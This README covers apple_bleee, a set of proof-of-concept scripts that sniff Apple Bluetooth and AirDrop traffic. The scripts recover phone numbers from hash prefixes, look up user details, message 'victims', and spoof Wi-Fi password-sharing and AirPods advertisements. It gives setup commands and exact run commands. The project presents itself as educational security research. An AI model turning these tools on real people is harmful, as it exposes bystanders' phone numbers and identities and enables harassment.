Disclaimer

These scripts are experimental PoCs that show what an attacker get from Apple devices if they sniff Bluetooth traffic.

This project is created only for educational purposes and cannot be used for law violation or personal gain.
The author of this project is not responsible for any possible harm caused by the materials of this project

Requirements

To use these scripts you will need a Bluetooth adapter for sending BLE messages and WiFi card supporting active monitor mode with frame injection for communication using AWDL (AirDrop). We recommend the Atheros AR9280 chip (IEEE 802.11n) we used to develop and test this code. We have tested these PoCs on Kali Linux

Installation

# clone main repo
git clone https://github.com/hexway/apple_bleee.git && cd ./apple_bleee
# install dependencies
sudo apt update && sudo apt install -y bluez libpcap-dev libev-dev libnl-3-dev libnl-genl-3-dev libnl-route-3-dev cmake libbluetooth-dev
sudo pip3 install -r requirements.txt
# clone and install owl for AWDL interface
git clone https://github.com/seemoo-lab/owl.git && cd ./owl && git submodule update --init && mkdir build && cd build && cmake .. && make && sudo make install && cd ../..

How to use

Before using the tool, check that your Bluetooth adapter is connected

hcitool dev
Devices:
    hci0    00:1A:7D:DA:71:13

Script: ble_read_state.py

This script sniffs BLE traffic and displays status messages from Apple devices. Moreover, the tool detects requests for password sharing from Apple devices. In these packets, we can get first 3 bytes of sha256(phone_number) and could try to guess the original phone number using prepared tables with phone hash values.

python3 ble_read_state.py -h
usage: ble_read_state.py [-h] [-c] [-n] [-r] [-l] [-s] [-m] [-a] [-t TTL]

Apple bleee. Apple device sniffer
---chipik

optional arguments:
  -h, --help          show this help message and exit
  -c, --check_hash    Get phone number by hash
  -n, --check_phone   Get user info by phone number (TrueCaller/etc)
  -r, --check_region  Get phone number region info
  -l, --check_hlr     Get phone number info by HLR request (hlrlookup.com)
  -s, --ssid          Get SSID from requests
  -m, --message       Send iMessage to the victim
  -a, --airdrop       Get info from AWDL
  -t TTL, --ttl TTL   ttl

For monitoring you can just run the script without any parameters

sudo python3 ble_read_state.py

press Ctrl+q to exit

If you want to get phone numbers from a WiFi password request, you have to prepare the hashtable (please find scripts below), setup a web server and specify base_url inside this script and run it with -c parameter

sudo python3 ble_read_state.py -с

Script: airdrop_leak.py

This script allows to get mobile phone number of any user who will try to send file via AirDrop

For this script, we'll need AWDL interface:

# set wifi card to monitor mode and run owl
sudo iwconfig wlan0 mode monitor && sudo ip link set wlan0 up && sudo owl -i wlan0 -N &

Now, you can run the script

python3 airdrop_leak.py -h
usage: airdrop_leak.py [-h] [-c] [-n] [-m]

Apple AirDrop phone number catcher
---chipik

optional arguments:
  -h, --help         show this help message and exit
  -c, --check_hash   Get phone number by hash
  -n, --check_phone  Get user info by phone number (TrueCaller/etc)
  -m, --message      Send iMessage to the victim

With no params, the script just displays phone hash and ipv6 address of the sender

sudo python3 airdrop_leak.py

Script: adv_wifi.py

This script sends BLE messages with WiFi password sharing request. This PoC shows that an attacker can trigger a pop up message on the target device if he/she knows any phone/email that exists on the victim's device

python3 adv_wifi.py -h
usage: adv_wifi.py [-h] [-p PHONE] [-e EMAIL] [-a APPLEID] -s SSID
                   [-i INTERVAL]

WiFi password sharing spoofing PoC
---chipik

optional arguments:
  -h, --help            show this help message and exit
  -p PHONE, --phone PHONE
                        Phone number (example: 39217XXX514)
  -e EMAIL, --email EMAIL
                        Email address (example: test@test.com)
  -a APPLEID, --appleid APPLEID
                        Email address (example: test@icloud.com)
  -s SSID, --ssid SSID  WiFi SSID (example: test)
  -i INTERVAL, --interval INTERVAL
                        Advertising interval

For a WiFi password request, we'll need to specify any contact (email/phone) that exists in a victim's contacts and the SSID of a WiFi network the victim knows

sudo python3 adv_wifi.py -e pr@hexway.io -s hexway

Script: adv_airpods.py

This script mimics AirPods by sending BLE messages

python3 adv_airpods.py -h
usage: adv_airpods.py [-h] [-i INTERVAL] [-r]

AirPods advertise spoofing PoC
---chipik

optional arguments:
  -h, --help            show this help message and exit
  -i INTERVAL, --interval INTERVAL
                        Advertising interval
  -r, --random          Send random charge values

Let's send BLE messages with random charge values for headphones

sudo python3 adv_airpods.py -r

Script: hash2phone

You can use this script to create pre-calculated table with mobile phone numbers hashes
